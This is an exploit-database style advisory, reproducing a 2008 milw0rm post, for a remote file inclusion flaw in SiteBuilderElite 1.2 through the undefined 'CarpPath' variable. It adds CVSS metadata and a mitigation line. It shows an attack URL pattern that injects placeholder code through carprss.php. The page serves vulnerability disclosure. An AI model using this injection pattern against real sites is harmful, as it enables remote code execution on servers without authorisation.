SiteBuilderElite1.2 Multiple Remote File Inclusion

vendor:

SiteBuilderElite1.2

by:

MhZ91

7.5

CVSS

HIGH

Multiple Remote File Inclusion

CWE

Product Name: SiteBuilderElite1.2

Affected Version From: 1.2

Affected Version To: 1.2

Patch Exists: N/A

Related CWE: N/A

CPE: a:sitebuilderelite:sitebuilder_elite:1.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SiteBuilderElite1.2 Multiple Remote File Inclusion

SiteBuilderElite1.2 present a variable 'CarpPath' not definited in this file files/carprss.php and files/amazon-bestsellers.php which is exploitable by the variable 'CarpPath' for example http://www.example.com/files/carprss.php?CarpPath=[Evil_Code]

Mitigation:

Input validation should be performed to ensure that untrusted input is not used to access local or remote resources.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+		SiteBuilderElite1.2 Multiple Remote File Inclusion                   +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: SiteBuilderElite1.2 Multiple Remote File Inclusion 
 Vendor: http://sitebuilderelite.com $97
 Bug: Multiple Remote File Inclusion
 Info: "Boost Your Adsense And Affiliate Commissions By Building 10s, 100s or 1,000s of Websites, Each With The Click of a Button!"
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

SiteBuilderElite1.2 present a variable "CarpPath" not definited in this file 

files/carprss.php
files/amazon-bestsellers.php

all are exploitable by the variable "CarpPath" for example

http://www.example.com/files/carprss.php?CarpPath=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28]